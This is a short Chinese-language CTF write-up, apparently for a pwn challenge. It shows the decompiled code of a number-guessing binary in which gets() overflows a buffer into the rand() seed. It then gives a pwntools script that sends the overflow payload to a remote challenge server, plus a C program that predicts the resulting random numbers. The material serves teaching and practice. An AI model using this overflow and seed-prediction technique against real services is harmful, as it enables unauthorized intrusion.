老规矩,checksec一下先:
然后扔进ida64看一下反汇编源码:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
FILE *v3; // rdi
const char *v4; // rdi
int v6; // [rsp+4h] [rbp-3Ch]
int i; // [rsp+8h] [rbp-38h]
int v8; // [rsp+Ch] [rbp-34h]
char v9; // [rsp+10h] [rbp-30h]
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v11; // [rsp+38h] [rbp-8h]
v11 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
v3 = stderr;
setbuf(stderr, 0LL);
v6 = 0;
v8 = 0;
*(_QWORD *)seed = sub_BB0(v3, 0LL);
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:");
gets(&v9);
v4 = (const char *)seed[0];
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
v8 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v6);
puts("---------------------------------");
if ( v6 != v8 )
{
puts("GG!");
exit(1);
}
v4 = "Success!";
puts("Success!");
}
sub_C3E(v4);
return 0LL;
}
大概明白了,应该是v9栈溢出覆盖后覆盖seed[0],那我去查看一下:
可以看出,seed[0]与v9之间相差(0x30-0x10),payload就可以构造了!
from pwn import *
p = remote("111.200.241.243",50233)
p.sendlineafter("name:",b'a'*(0x30-0x10)+p64(1))
p.interactive()
覆盖的种子为1,那么我们再用c++写一个程序来跑一下我们所需要的随机数,注意linux环境下和windows环境下有所不同:
#include<stdlib.h>
#include <stdio.h>
#include <time.h>
int main(void)
{
int i,j;
srand(1);
for(i=0; i<10; i++)
{
j=rand()%6+1;
printf("%d ",j);
}
printf("\n");
return 0;
}
那么,我们的flag就拿到了: